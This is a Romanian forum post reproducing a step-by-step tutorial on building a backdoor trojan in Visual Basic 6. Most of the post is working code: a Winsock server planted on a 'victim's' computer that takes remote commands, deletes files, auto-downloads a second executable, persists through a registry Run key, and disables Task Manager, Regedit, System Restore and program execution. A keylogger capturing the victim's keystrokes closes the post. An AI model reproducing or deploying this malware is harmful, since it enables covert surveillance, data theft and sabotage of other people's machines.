Jump to content
Guest Nemessis

[RST][Tutorial VB6] Crearea unui Trojan in VB6 by Nytro

Recommended Posts

Guest Nemessis
Posted (edited)

Crearea unui Trojan BackDoor in Visual Basic 6

© Nytro 2008

http://www.rstcenter.com

Atentie !!!

>> Tutorialul este pentru a invata , pentru scopuri educative , pentru a va satisface curiozitatea . Nu imi asum raspunderea pentru actiunile voastre .

Download ( .txt ) - 47.39 KB :

http://rapidshare.com/files/98709362/Tutorial.txt

http://www.netdrive.ws/62551.html

http://www.speedyshare.com/files/20962156/Tutorial.txt

http://www.megaupload.com/?d=EYBGEAXJ

http://www.2shared.com/file/11418182/7f774b05/Tutorial.html

Ce contine acest tutorial ?

+ Conectarea a doua executabile folosind Winsock , explicata detaliat

+ Functii

- Swap Mouse Buttons

- Freeze Mouse

- Crazy Mouse

- Hide Mouse

- Open / Close CDRom

- Auto-Download

- Restart , Shutdown , LogOff , Force Shutdown

- Hide TaskBar

- Hide Clock , Start Button , Desktop Icons

- Server start-up

- Disable/Enable Task Manager

- Lock/Unlock All EXE

- Disable/Enable Regedit

- Disable/Enable Right click

- Disable/Enable System Restore

+ Crearea unui keylogger cu fereastra ( explicata detaliat )

+ Cateva sfaturi utile

Sa incepem .

Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul .

Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox .

Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date .

Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client .

Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock .

Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ?

Private Sub Form_Load()

On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului .

Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port )

Winsock1.Listen ' Setam serverul sa astepte date de la client , acum serverul va asculta pe portul 1111

End Sub

Serverul va trebui rulat . Apoi in client , ne conectam la server , folosind butonul de conectare :

Private Sub Command1_Click()

On Error Resume Next ' La fel

Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista

Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 ( localhost )

Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server . Va trebui sa fie acelasi la care asculta serverul .

Winsock1.Connect ' Conectam clientul la server

End Sub

In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita .

Private Sub Winsock1_Connect()

Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox .

End Sub

In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare :

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Form1.Caption = "Eroare la conectare"

End Sub

Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea .

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista

Winsock1.Accept requestID ' Acceptam conexiunea de la client

End Sub

Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei .

Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul .

Private Sub Command2_Click()

On Error Resume Next

Winsock1.SendData "notepad" ' Trimitem stringul "notepad"

End sub

La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele .

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim date_primite As String ' Declaram variabila date_primite de tipul string

Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite .

If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad .

Shell "notepad.exe" ' Deschidem notepad .

End If ' Inchidem instructiunea If

End Sub

Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu .

Mai puneti pe Form un buton si un TextBox .

Private sub Command3_click()

On Error Resume Next

Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text .

End Sub

In server vom procesa datele primite :

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim date_primite As String

Dim Vector() As String ' Declaram vectorul Vector() de tip string .

Winsock1.GetData date_primite

Vector() = Split(date_primite,"|") ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) .

If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj"

MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client.

End If ' Inchidem instructiunea If

End Sub

Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt :

0 - sckClosed - Conexiunea e inchisa

1 - sckOpen - Conexiunea e deschisa

2 - sckListening - Conexiunea e in asteptare

3 - sckConnectionPending - Conexiune in desfasurare

4 - sckResolvingHost - In curs de rezolvare

5 - sckResolved - Sistem gazda rezolvat

6 - sckConnecting - Se conecteaza

7 - sckConnected - Conectat

8 - sckClosing - Se inchide conexiunea

9 - sckError - Eroare

Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server .

Private Sub Command2_Click()

If Winsock1.State <> 7 ' State-ul este 7 daca este conectat

MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" .

Else: Winsock1.SendData "notepad" ' Daca e conectat , atunci permitem trimiterea datelor

End If

End Sub

Sa punem niste functii Trojanului nostru .

Vom incepe cu ceva mai simplu , de exemplu stergerea unui fisier . Pentru a sterge un fisier vom folosi functia Kill urmata de locatia fisierului . Deci din client vom trimite un string "kill" urmat de delimitator "kill|" si un alt string , reprezentat de continutul unui textbox care va contine locatia fisierului pe care vrem sa il stergem . In client , pe un buton ( nu uitati sa adaugati textbox ) :

Winsock1.SendData "kill|" + Text3.Text ' Facem ceea ce ne-am propus mai sus

Iar in server , vom sterge fisierul . Daca fisierul nu exista va interveni o eroare , dar vom folosi handlerul de erori .

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

On Error Resume Next

Dim date_primite As String

Dim Vector() As String

Winsock1.GetData date_primite

Vector() = Split(date_primite,"|")

If Vector(0) = "kill" Then

Kill Vector(1)

End If

End Sub

Pentru stergerea unui folder vom proceda la fel . Vom folosi functia RmDir urmata de locatia folderului .

RmDir Vector(1) ' Unde Vector(1) este continutul altui Textbox , si reprezinta locatia folderului care urmeaza sa fie sters .

Putem sterge de exemplu toate fisierele dintr-un folder folosind sintaxa : Kill Folder/*.* , sau fisierele cu o anumita extensie dintr-un folder Kill Folder/*.exe . Cum vom proceda :

Kill Vector(1) & "\*.*" ' Pentru stergerea tuturor fisierelor dintr-un folder ( trimis din client )

Kill Vector(1) & "\*.exe" ' Pentru stergerea tuturor executabilelor din folderul primit de la client

Sa adaugam serverului nostru niste functii mai "utile" .

Pentru cele mai multe functii dintre ele vom avea nevoie de un API ( Application Programming Interface ) . Ce este acest API ? Este o functie care se afla intr-una din librariile Widowsului ( user32.DLL , kernel32.DLL ... ) . Noi putem folosi aceste API-uri in programele noastre din Visual Basic declarandu-le ca functii astfel ( de exemplu ) :

Private Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long

Private sau Public reprezinta tipul functiei . Daca declarati aceasta functie in sectiunea Declarations a Form-ului vostru va trebui declarata Private , iar daca o declarati intr-un modul va trebui declarata Public . De ce ? O functie declarata ca Private poate fi folosita numai unde a fost declarata , de exemplu daca ai declarat o functie ca privata intr-un modul , vei putea folosi functia numai in modul , daca o declari ca publica o poti folosi oriunde in programul tau .

Declare Function e necesar pentru ca Visual Basic sa recunoasca functia ca apartinand unei librarii .

SwapMouseButton reprezinta numele functiei , numele pe care il vei folosi in aplicatia ta .

Lib este un cuvant cheie , care specifica libraria in care se afla functia noastra , in cazul nostru user32.dll .

Alias este un cuvant cheie care specifica numele pe care il are functia in libraria din care face parte , in cazul nostru SwapMouseButton .

Ceea ce se afla in paranteze reprezinta argumentele functiei , parametri . ByVal marcheaza faptul ca argumentul bSwap este transmis prin valoare , la unele veti intalni ByRef care marcheaza faptul ca un argument este transmis prin referinta . Care e diferenta dintre ele ? Daca pentru a apela functia care necesita un argument care sa fie transmis prin valoare , folosim o variabila , aceasta isi va pastra valoarea initiala . Pentru un argumet transmis prin referinta , variabila pe care o folosim va avea valoarea modificata dupa apelul functiei . As Long din paranteza reprezinta tipul parametrului .

As Long din afara parantezei reprezinta tipul functiei , tipul valorii pe care o va returna functia .

Sa incepem cu ceva mai simplu . Sa vedem ce putem face cu mouse : Freeze , Swap Buttons , Crazy , Hide . Sa folosim functia descrisa mai sus : SwapMouseButton pentru inceput .

>> Swap Mouse Buttons - adica sa inversam butoanele mouseului .

Functia noastra are nevoie de un singur parametru si anume bSwap . Vom da acestui parametru valoarea 0 pentru ca butoanele sa nu fie inversate , si 0 ca sa le inversam . Dupa ce vom declara functia , in serverul nostru la evenimentul Winsock1_DataArrival vom adauga :

If date_primite = "swapmouse" Then

SwapMouseButton 1 ' Folosim APIul pentru a inversa butoanele mouseului . Pentru revenire la normal vom folosi 0 in loc de 1 : SwapMouseButton 0 .

End If

>> Freeze Mouse - adica mouseul ramane mereu in acelasi loc . Cum facem asta ? Simplu . Folosim un Timer in care setam pozitia mouseului in acelasi loc . Pentru aceasta vom avea nevoie de alt API :

Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long

Aceasta functie are 2 parametri : x si y . Acesti parametri reprezinta pozitia cursorului mouseului dupa apelul functiei . Pentru a "ingheta" cursorul folosim un Timer la interval 1 .

Private Sub Timer1_Timer()

x = SetCursorPos(300, 500) ' La intamplare 300 , 500 , acestea fiind coordonatele la care va fi blocat mouseul , de fapt coordonatele la care va fi setat continuu . Pentru a se reveni la normal oprim timerul .

End Sub

>> Crazy Mouse - cursorul mouseului apare aleator pe ecran . Vom folosi acelasi API ca si la Freeze , vom folosi la fel un Timer la interval 100 sa zicem , numai ca vom seta coordonatele cursorului aleator .

Private Sub Timer2_Timer()

x = SetCursorPos(Rnd * 1000, Rnd * 1000) ' Setam coordonatele cursorului la coordonate aleatoare cuprinse intre 0 si 1000 . La fel , pentru a se reveni la normal , oprim timerul .

End Sub

>> Hide Mouse - ascundem cursorul mouseului . Pentru aceasta vom avea nevoie de urmatorul API :

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

Aceasta functie , ca si SwapMouseButton are nevoie de un singur parametru , bShow . Acesta daca este False , cursorul mouseului nu va fi vizibil , iar daca este True , se va reveni la normal .

If date_primite = "hidemouse" Then

ShowCursor False ' Ascundem cursorul mouseului . Pentru a il afisa din nou : ShowCursor True

End If

>> Open / Close CDRom - deschidem / inchidem CDRomul .

Vom avea nevoie de urmatorul API :

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" _

(ByVal lpstrCommand As String, ByVal lpstrReturnString As String, _

ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

E putin mai dificil . Aceasta functie are 4 parametri : lpstrCommand , lpstrReturnString , uReturnLength , hwndCallback .

Primul parametru este cel care ne intereseaza pe noi . Acesta este un string specific MCI ( Multimedia Command Strings ) . Al doilea parametru reprezinta un o variabila in care se vor memora datele de iesire a functiei , noua nu ne trebuie insa si in cazul nostru va fi 0 . Al III-lea parametru reprezinta marimea celui de-al II-lea . Nu ne trebuie si in cazul nostru va fi 0 . Cel de-al IV-lea parametru de asemenea nu ne intereseaza . Conteaza numai daca primul parametru este "notify" . In fine , sa trecem la ale noastre . Pe noi ne intereseaza decat primul parametru . Acesta in cazul nostru va fi pentru Open CDRom : "Set CDAudio Door Open Wait" , iar pentru Close CDRom va fi "Set CDAudio Door Closed Wait" . Desigur , primul parametru poate avea multe valori .

Deci codul nostru pentru CDRom va arata asa :

mciSendString "Set CDAudio Door Open Wait", 0, 0, 0 ' Pentru Open

mciSendString "Set CDAudio Door Closed Wait", 0, 0, 0 ' Pentru Close

>> Auto-Download :

Vom avea nevoie de urmatorul API :

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Aceasta functie ne permite sa descarcam un fisier de la un link anume , si sa il salvam in calculator . Functia are cam multe argumente , insa pe noi ne intereseaza decat 2 . pCaller nu ne intereseaza , il vom pune 0 , este necesar numai daca se apeleaza functia cu ajutorul unei componente ActiveX . Parametrul szURL ne intereseaza pe noi , el fiind linkul de la care vom descarca . Daca link-ul e invalid functia va returna INET_E_DOWNLOAD_FAILURE . Ne mai intereseaza parametrul szFileName . Acesta reprezinta locul in care vom descarca fisierul . Ceilalti 2 parametri nu ne intereseaza , vor fi 0 .

Deci codul de Auto-download va arata cam asa :

URLDownloadToFile(0, "http://link.com/server.exe", "c:\x.exe", 0, 0)

>> Restart , Shutdown , LogOff , Force Shutdown ...

Se pot face foarte usor :

Shell "shutdown.exe -r",vbHide ' Pentru restart

Shell "shutdown.exe -s -t 0", vbHide ' Pentru Shutdown

Shell "shutdown.exe -l", vbHide ' Pentru LogOff

Shell "shutdown.exe -a", vbHide ' Pentru Abort

Insa recomand folosirea urmatoarei functii :

Private Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Aceasta functie e putin mai greu de folosit . Are nevoie de 2 parametri : uFlags si dwReserved . Primul parametru reprezinta tipul : shutdown , restart ... , iar dwReserved reprezinta motivul pentru Shutdown . Primul parametru poate fi : EWX_LOGOFF ( 0 ) , EWX_POWEROFF ( 0x00000008 ) , EWX_REBOOT ( 0x00000002 ) , EWX_RESTARTAPPS ( 0x00000040 ) , EWX_SHUTDOWN ( 0x00000001 ) si optional EWX_FORCE ( 0x00000004 ) , EWX_FORCEIFHUNG ( 0x00000010 ) . Cred ca intelegeti si voi ce reprezinta fiecare : EWX_LOGOFF = LogOff etc. Al II-lea parametru poate fi de 2 feluri : motive majore , motive minore . Poate lua valorile : SHTDN_REASON_MAJOR_APPLICATION ( 0x00040000 ) = Din cauza unei aplicatii , SHTDN_REASON_MAJOR_HARDWARE ( 0x00010000 ) = Din cauza hardware-ului , SHTDN_REASON_MAJOR_OPERATINGSYSTEM ( 0x00020000 ) = Din cauza sistemului de operare , SHTDN_REASON_MAJOR_SOFTWARE ( 0x00030000 ) = Din cauza unui software , SHTDN_REASON_MAJOR_SYSTEM ( 0x00050000 ) = Eroare de sistem , etc .

Ex. LogOff : x = ExitWindowsEx(EWX_LOGOFF, SHTDN_REASON_MAJOR_OPERATINGSYSTEM)

>> Hide TaskBar - ascundem TaskBar-ul . Cum facem asta ? Pur si simplu gasim TaskBarul ( fereastra ) si o ascundem . Vom folosi 2 API-uri :

Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Vom folosi FindWindow pentru a gasi TaskBar-ul si ShowWindow pentru a o ascunde . Functia FindWindow are 2 parametri : lpClassName care reprezinta numele clasei ferestrei . Fiecare fereastra are o clasa aparte . Aceasta poate fi inregistrata cu ajutorul functiei RegisterClass . Daca acest parametru este 0 , functia va gasi orice fereastra specificata de cel de-al II-lea parametru . Acesta specifica titlul ferestrei . In cazul nostru nu e necesar si va fi 0 , vom folosi decat primul parametru care in cazul nostru va fi "Shell_TrayWnd" . Putem afla clasa unei ferestre folosind functia GetClassName .

Pentru a gasi fereastra : x = FindWindow("Shell_TrayWnd", 0) ' x va fi handlerul ferestrei , un fel de maner al ferestrei

Apoi folosim functia ShowWindow pentru a o ascunde . Functia are 2 parametri : hwnd care va fi handlerul ferestrei , in cazul nostru x , si nCmdShow prin care specificam daca fereastra sa fie vizibila sau nu . nCmdShow va fi 0 pentru a ascunde fereastra si 1 pentru a fi vizibila .

ShowWindow (x, 0) ' Pentru a o ascunde , si 1 pentru a fi vizibila .

>> Hide Clock , Start Button , Desktop Icons - cum sa ascundem ceasul , butonul de start , iconitele de pe desktop . Vom avea nevoie de 3 API-uri :

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long

Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long

Functia FindWindow am descris-o mai sus . Care e insa diferenta dintre FindWindow si FindWindowEx ? Simplu , FindWindowEx poate gasi ferestrele copil , ferestre care apartin unei alte ferestre ca sa zic asa . De exemplu , o imagine deschisa in Photoshop este fereastra copil a ferestrei Photoshop-ului . Primul argument al functiei FindWindowEx , hWnd1 , reprezinta handlerul ferestrei parinte . Al II-lea parametru este handlerul ferestrei copil . Daca e 0 , functia gaseste primul copil al ferestrei parinte . Cel de-al III-lea parametru reprezinta clasa feresrei copil pe care o cautam , iar ultimul parametru reprezinta numele ferestrei pe care o cautam , nu vom folosi nici un nume , vom folosi functia pentru a gasi fereastra dupa clasa , nu ne vor trebui decat handlerul ferestrei parinte si clasa ferestrei copil .

Cu ce ne ajuta aceste lucruri pentru a ascunde ceasul ? Simplu . Ceasul este o fereastra copil a TaskBar-ului , la fel si butonul de start . Va trebui mai intai sa gasim TaskBar-ul folosind FindWindow apoi sa gasim ceasul folosind FindWindowEx . Sa trecem la treaba :

Dim task as Long ' Declaram variabila task de tipul long . Handlerul unei ferestre este un numar unic furnizat de sistem .

Dim tray as Long ' Declaram variabila tray care va gasi fereastra System Tray-ului , cea in care se afla ceasul .

Dim clock as Long ' Mai declaram clock cu care vom gasi ceasul .

task = FindWindow("shell_traywnd", 0) ' Gasim TaskBar-ul . Variabila task va fi handlerul TaskBar-ului , folosind clasa sa si anume "shell_traywnd" .

tray = FindWindowEx(task, 0, "traynotifywnd", 0) ' Gasim fereastra System Tray-ului si memoram handlerul sau in variabila tray . Dupa cum vedeti folosim FindWindowEx , iar la handlerul fisierului parinte folosim task , handlerul ferestrei TaskBar-ului , clasa fiind "traynotifywnd" .

clock = FindWindowEx(tray, 0, "trayclockwclass", 0) ' Gasim ceasul si memoram handlerul sau in variabila clock . La handlerul ferestrei parinte folosim tray si anume handlerul ferestrei System-Tray-ului , folosind clasa "trayclockwclass".

ShowWindow(clock, 0) ' Folosim functia ShowWindow pentru a ascunde ceasul .]

Vom proceda la fel si cu butonul de start . Cu acesta va fi mai usor . Ceasul era o fereastra copil a system tray-ului care era o fereastra copil a taskbar-ului . Butonul de start este o fereastra copil a TaskBar-ului . Va fi mai usor .

Dim task As Long

Dim start As Long

task = FindWindow("shell_traywnd", 0) ' Gasim si preluam handlerul ferestrei TaskBar-ului in variabila task declarama mai sus

start = FindWindowEx(task, 0&, "button", 0) ' Gasim fereastra butonului de start , folosindu-ne de fereastra TaskBarului .

ShowWindow(start, 0) ' Ascundem butonul de start folosind functia ShowWindow .

Cu iconitele de pe Desktop vom proceda la fel ca si cu ceasul :

Dim screen As Long

Dim desktop As Long

Dim icons As Long

screen = FindWindow("progman", 0) ' Gasim mai intai Program Managerul

desktop = FindWindowEx(screen, 0&, "shelldll_defview", vbNullString) ' Gasim apoi desktopul

icons = FindWindowEx(desktop, 0&, "syslistview32", vbNullString) ' Gasim iconitele de pe Desktop

ShowWindow(icons, 0) ' Ascundem iconitele . Pentru a le afisa din nou ShowWindow(icons, 1)

>> Server start-up - Adaugarea serverului la StartUp

Se face printr-o simpla scriere in registry . Se pot folosi API-uri pentru acest lucru , dar vom face acest lucru mai usor . Vom folosi un obiect WScript . Mai intai vom declara o variabila , apoi vom crea obiectul WScript , mai exact WshShell , pe care il vom crea folosind metoda CreateObject . Odata creat , cu un astfel de obiect se pot face mai multe lucruri , se poate scrie si citi in registry , se pot crea scurtaturi ...

Dim st ' Declaram variabila

Set st = CreateObject("WScript.Shell") ' Cream obiectul

st.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Server", "C:\WINDOWS\system32\dk.exe" ' Scriem in registry la HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run regkey-ul Server , cu valoarea C:\WINDOWS\system32\dk.exe , adica locatia serverului nostru . Astfel el va rula la startup .

>> Disable/Enable Task Manager - Blocarea si deblocarea task managerului

Se face simplu , doar scriind un key in registry , vom proceda ca mai sus . Pentru disable :

Dim tmd

Set tmd = CreateObject("WScript.Shell") ' Ca mai sus ...

tmd.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 1, "REG_DWORD" ' Vom scrie in registry la locatia specificata , key-ul DisableTaskMgr care va avea valoarea 1 pentru Disable . REG_DWORD este un tip de key-uri , va fi nevoie de el .

Iar pentru enable vom seta valoarea key-ului DisableTaskMgr 0 :

Dim tme

Set tme = CreateObject("WScript.Shell")

tme.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", 0, "REG_DWORD"

>> Lock/Unlock All EXE - Blocarea si deblocarea posibilitati rularii executabilelor

Se face tot la fel , prin scriere in registry . Se pot face foarte multe prin scriere in registry ...

Pentru blocare va fi nevoie de o simpla modificare a valorii default a unui key .

le.RegWrite "HKCR\exefile\shell\open\command\", "Nytro" ' Vom modifica valoare default a lui command . Astfel , la incercarea rularii unui executabil , windows-ul nu va sti cu ce sa il deschida , va aparea : Select a program from a list ... Nu incercati pe voi . O metoda de a scapa : deschideti ceva cu Visual Basic , veti primi o eroare , dar se va deschide Visual Basic . Apoi scrieti un cod care va debloca executabilele , ca cel de mai jos :

ue.RegWrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*" ' Acest cod va permite rularea executabilelor . Mai exact va scrie in registry , in key-ul default al lui command , valoarea "%1" %* .

>> Disable/Enable Regedit - Blocarea si deblocarea folosirii regedit-ului

Aceeasi poveste ... Nu uitati sa declarati variabilele si sa le setati ca obiecte WshShell

dr.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1, "REG_DWORD" ' Pentru disable

er.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 0, "REG_DWORD" ' Pentru enable

>> Disable/Enable Right click - Blocarea si deblocarea folosirii butonului drept al mouseului

Tot scriere in registry ...

drc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", 1, "REG_DWORD" ' Pentru disable

erc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", 0, "REG_DWORD" ' Pentru enable

>> Disable/Enable System Restore - Blocarea si deblocarea functiei System Restore

dsr.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 1, "REG_DWORD" ' Pentru disable

esr.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore\DisableSR", 0, "REG_DWORD" ' Pentru enable

>>>> [ KEYLOGGER ] - Capturarea tuturor tastelor apasate de la tastatura

Pentru a face un keylogger pe care sa il atasam trojanului nostru vom avea putin de lucru . Sa trecem la treaba .

Cel mai important lucru este API-ul GetAsyncKeyState . Cu el vom verifica daca tastele au fost apasate . Acest API arata astfel :

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Are decat un parametru care reprezinta tasta pentru care sa verifice daca e apasata la momentul apelului . Pentru acest parametru vom putea folosi un cod ASCII corespunzator tastei pentru care facem verificarea sau una din constantele prezente in Visual Basic ( KeyCode Constants ) : vbKey0 , vbKey1 , vbKeyA , vbKeyB , vbKeyF1 , vbKeyF2 , vbKeyEscape , vbKeyInsert si multe altele .

Ce vom face pentru a captura toate tastele apasate ? Vom verifica intr-un timer ( cu un interval cat mai mic , 1 de exemplu ) pentru fiecare tasta , daca a fost apasata . Si vom scrie datele intr-un textbox , apoi vom putea trimite datele clientului .

Foarte important ! Daca tasta primita ca parametru a fost apasata functia va returna valoarea -32767 .

Sa incepem cu ceva mai simplu . Sa verificam de exemplu cand a fost apasata tasta C . Vom avea nevoie de un Timer la interval 1 si de un textbox . Deci pentru a verifica daca a fost apasata tasta C timerul nostru va arata cam asa :

Private Sub Timer1_Timer()

Dim x As Integer ' Declaram x ca integer

x = GetAsyncKeyState(vbKeyC) ' x va avea valoarea returnata de GetAsyncKeyState

If x = -32767 Then ' Daca x are valoarea -32767 inseamna ca tasta C a fost apasata

Text1.Text = Text1.Text & "c" ' Si adaugam tasta C in TextBox-ul nostru

End If ' Inchidem instructiunea If

End Sub

Exista o mica problema in legatura cu majusculele si minusculele . Dar vom face acest lucru foarte simplu cu ajutorul codurilor ASCII .

Sa verificam daca victima noastra a introduc c sau C pentru inceput . Vom verifica daca tasta Shift a fost apasata folosind constanta vbKeyShift . Daca tasta a fost apasata GetAsyncKeyState va returna -32768 . Timerul nostru va arata cam asa :

Private Sub Timer1_Timer()

Dim x, x2 As Integer ' Declaram variabilele

x = GetAsyncKeyState(vbKeyC) ' x va verifica tasta c

x2 = GetAsyncKeyState(vbKeyShift) ' x2 va verifica tasta shift

If x = -32767 Then ' Daca x are valoarea -32767 adica daca tasta c a fost apasata

If x2 = -32768 Then ' Verificam daca tasta shift a fost apasata

Text1.Text = Text1.Text & "C" ' Daca a fost apasata adaugam la logul nostru , in textbox , tasta C , majuscula

Else: Text1.Text = Text1.Text & "c" ' Daca x2 nu are valoarea -32768 inseamna ca tasta shift nu a fost apasata si adaugam in textbox c minuscula .

End If ' Inchidem instructiunea If pentru x2

End If ' Inchidem instructiunea If pentru x

End Sub

Pentru a verifica caracterele de la A la Z vom folosi un For de la 65 ( codul ASCII al lui A ) pana la 90 ( codul ASCII al lui Z ) . Vom verifica de asemenea starea tastei Shift . Daca nu este apasata vom adauga la log caracterul pentru codul ASCII al lui i + 32 ( Codul ASCII al minusculelor este mai mare decat cel al majusculelor cu 32 ) , iar daca e apasata vom adauga caracterul pentru codul ASCII i . Timerul va arata cam asa :

Private Sub Timer1_Timer()

Dim x, x2, i As Integer

For i = 65 To 90 ' i va parcurge tastele de la A la Z

x = GetAsyncKeyState(i) ' x va verifica starea fiecarei taste de la A la Z

x2 = GetAsyncKeyState(16) ' x2 va verifica starea tastei shift

If x = -32767 Then ' Daca o tasta e apasata ( o tasta de la A la Z , o tasta pentru care e corespunzator un cod ASCII cuprins intre 65 si 90 , x va verifica pentru fiecare tasta in parte )

If x2 = -32768 Then ' Daca tasta shift e apasata

Text1.Text = Text1.Text & Chr(i) ' Adaugam la log caracterul corespunzator codului ASCII intr 65 si 90 , cel al literei care a fost apasate , adaugam majuscula , deoarece tasta shift a fost apasata

Else: Text1.Text = Text1.Text & Chr(i + 32) ' Daca nu a fost apasata adaugam minuscula , adica caracterul corespunzator codului ASCII al majusculei + 32 , rezultatul fiind codul ASCII al minusculei

End If ' Inchidem instructiunea If pentru x2

End If ' Inchidem instructiunea If pentru x

Next ' Inchidem For-ul

End Sub

